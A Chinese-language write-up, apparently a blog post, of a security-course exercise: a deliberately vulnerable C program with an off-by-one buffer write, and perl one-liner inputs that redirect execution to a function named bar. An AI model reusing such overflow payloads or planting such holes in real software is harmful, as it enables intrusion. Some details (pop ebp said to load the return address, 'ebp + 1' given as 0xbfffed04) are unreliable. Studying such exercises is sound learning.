Off-by-One 溢出攻击分析

Off-by-One 溢出攻击分析

背景

上周,我参加了一门安全课程,其中包含了一个 off-by-one 溢出漏洞的示例。以下是原始代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* 简单的 off-by-one 溢出示例 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo(char *input) {
char buf[1024];
strncpy(buf, input, sizeof(buf));
buf[sizeof(buf)] = '\0';
}

void bar(void) {
printf("I've been hacked\n");
}

int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s input_string\n", argv[0]);
exit(EXIT_FAILURE);
}
foo(argv[1]);
return 0;
}

利用此漏洞的攻击命令是:

1
perl -e 'system "./obo", "\x38\x84\x04\x08"x256'

运行此命令的结果是屏幕上打印出多行 I've been hacked

分析

当程序进入 foo 函数时,内存布局如下(使用 GDB 观察到):

从上到下,布局包含返回地址、保存的帧指针(saved frame pointer)和缓冲区 (buf)。

当执行 buf[sizeof(buf)] = '\0'; 时,保存的帧指针 (ebp) 的最低有效字节被设置为 0。为了确保 ebp 在被部分覆盖后仍然指向 buf 区域内,需要至少 1024 字节的缓冲区。具体来说,需要覆盖 ebp,使其保持在合理范围内(最高到 0xff),这就是为什么缓冲区设置为 0xff * 4 字节的原因。

理解 foo 返回时的汇编命令

foo 函数返回时,通常会执行以下关键的汇编指令:

1. leave 指令

leave 指令等价于:

1
2
mov esp, ebp
pop ebp
  • mov esp, ebp:将栈指针 (esp) 设置为帧指针 (ebp) 的值,恢复栈指针到当前栈帧的顶部,从而释放当前函数占用的空间。
  • pop ebp:将栈顶的值弹出并赋给帧指针 (ebp),从而恢复调用者的帧指针。实际上,相当于将返回地址写入 ebp,这意味着将栈中的值(通常是调用者的帧地址)赋给 ebp,从而恢复调用者的栈帧。

leave 的作用是将 esp 恢复到函数调用前的位置,并弹出保存的 ebp。如果 ebp 被覆盖为指向某个特殊地址(例如缓冲区内的地址),在函数返回时可能导致错误的栈指针位置。

2. ret 指令

ret 指令从栈顶弹出一个地址并跳转到该地址:

1
pop eip

如果返回地址被覆盖为 bar 函数的地址,执行流将跳转到 bar,允许攻击者执行任意代码。本质上,ret 会将一个地址弹出到指令指针 (eip) 并跳转到该地址继续执行。

攻击步骤

  • 当执行命令 perl -e 'system "./obo", "\x38\x84\x04\x08"x256' 时,程序会将这些重复的字节作为输入传递给 ./obo
  • foo 函数返回时,执行了 leaveret 指令,由于返回地址被覆盖,程序跳转到 bar 函数,打印出成功的消息多次。

进一步分析:确定有效的覆盖位置

为了成功执行攻击,关键在于精确确定需要覆盖哪些字节,以有效地操控控制流。在这个例子中,溢出发生在执行 buf[sizeof(buf)] = '\0' 时,导致保存的帧指针 (ebp) 的最低有效字节被设置为 0。因此,需要调整 ebp 的值,确保其指向缓冲区区域,从而使执行流程按预期进行,最终跳转到 bar 函数。

基于进一步的分析和测试,得出以下见解:

  • 要准确确定覆盖位置,ebp 的值至关重要。然而,获得这个值是有挑战的,因为:

    1. GDB 调试会影响地址布局。
    2. 输入参数的长度会影响地址布局。
  • 在 GDB 调试下,foo 函数内的布局如下:

  • 执行 buf[sizeof(buf)] = '\0'; 后,ebp 被修改,使得返回地址实际上取的是 ebp + 1 处的值,即地址 0xbfffed00 + 1,也就是 0xbfffed04

  • 对应的偏移位置在 buf 的第 255 个位置,这意味着可以通过只在该特定位置填入返回地址来构造攻击。在 GDB 中使用以下命令进行验证:

    1
    r $(perl -e 'print  "\x01\x01\x01\x01"x254 . "\x38\x84\x04\x08"x1 . "\x01\x01\x01\x01"x1')
  • 经过验证,这在 GDB 调试下是有效的,但需要注意以下细节:

    1. 输入参数的长度必须始终为 256 字节,否则 ebp 的值会发生变化,因为输入参数会占用栈空间,从而影响帧的起始位置,进而影响 ebp 的值。
    2. 填充必须使用非零值,如 0x01,因为如果遇到 0 值,strncpy 会提前终止。
  • 直接执行程序时(即不使用 GDB),内存布局不同,导致偏移位置也不同。通过实验,发现偏移位置在第 235 个位置。对应的攻击命令是:

    1
    ./obo $(perl -e 'print  "\x01\x01\x01\x01"x234 . "\x38\x84\x04\x08"x1 . "\x01\x01\x01\x01"x21')

这样就实现了找到准确覆盖位置并成功执行攻击的效果。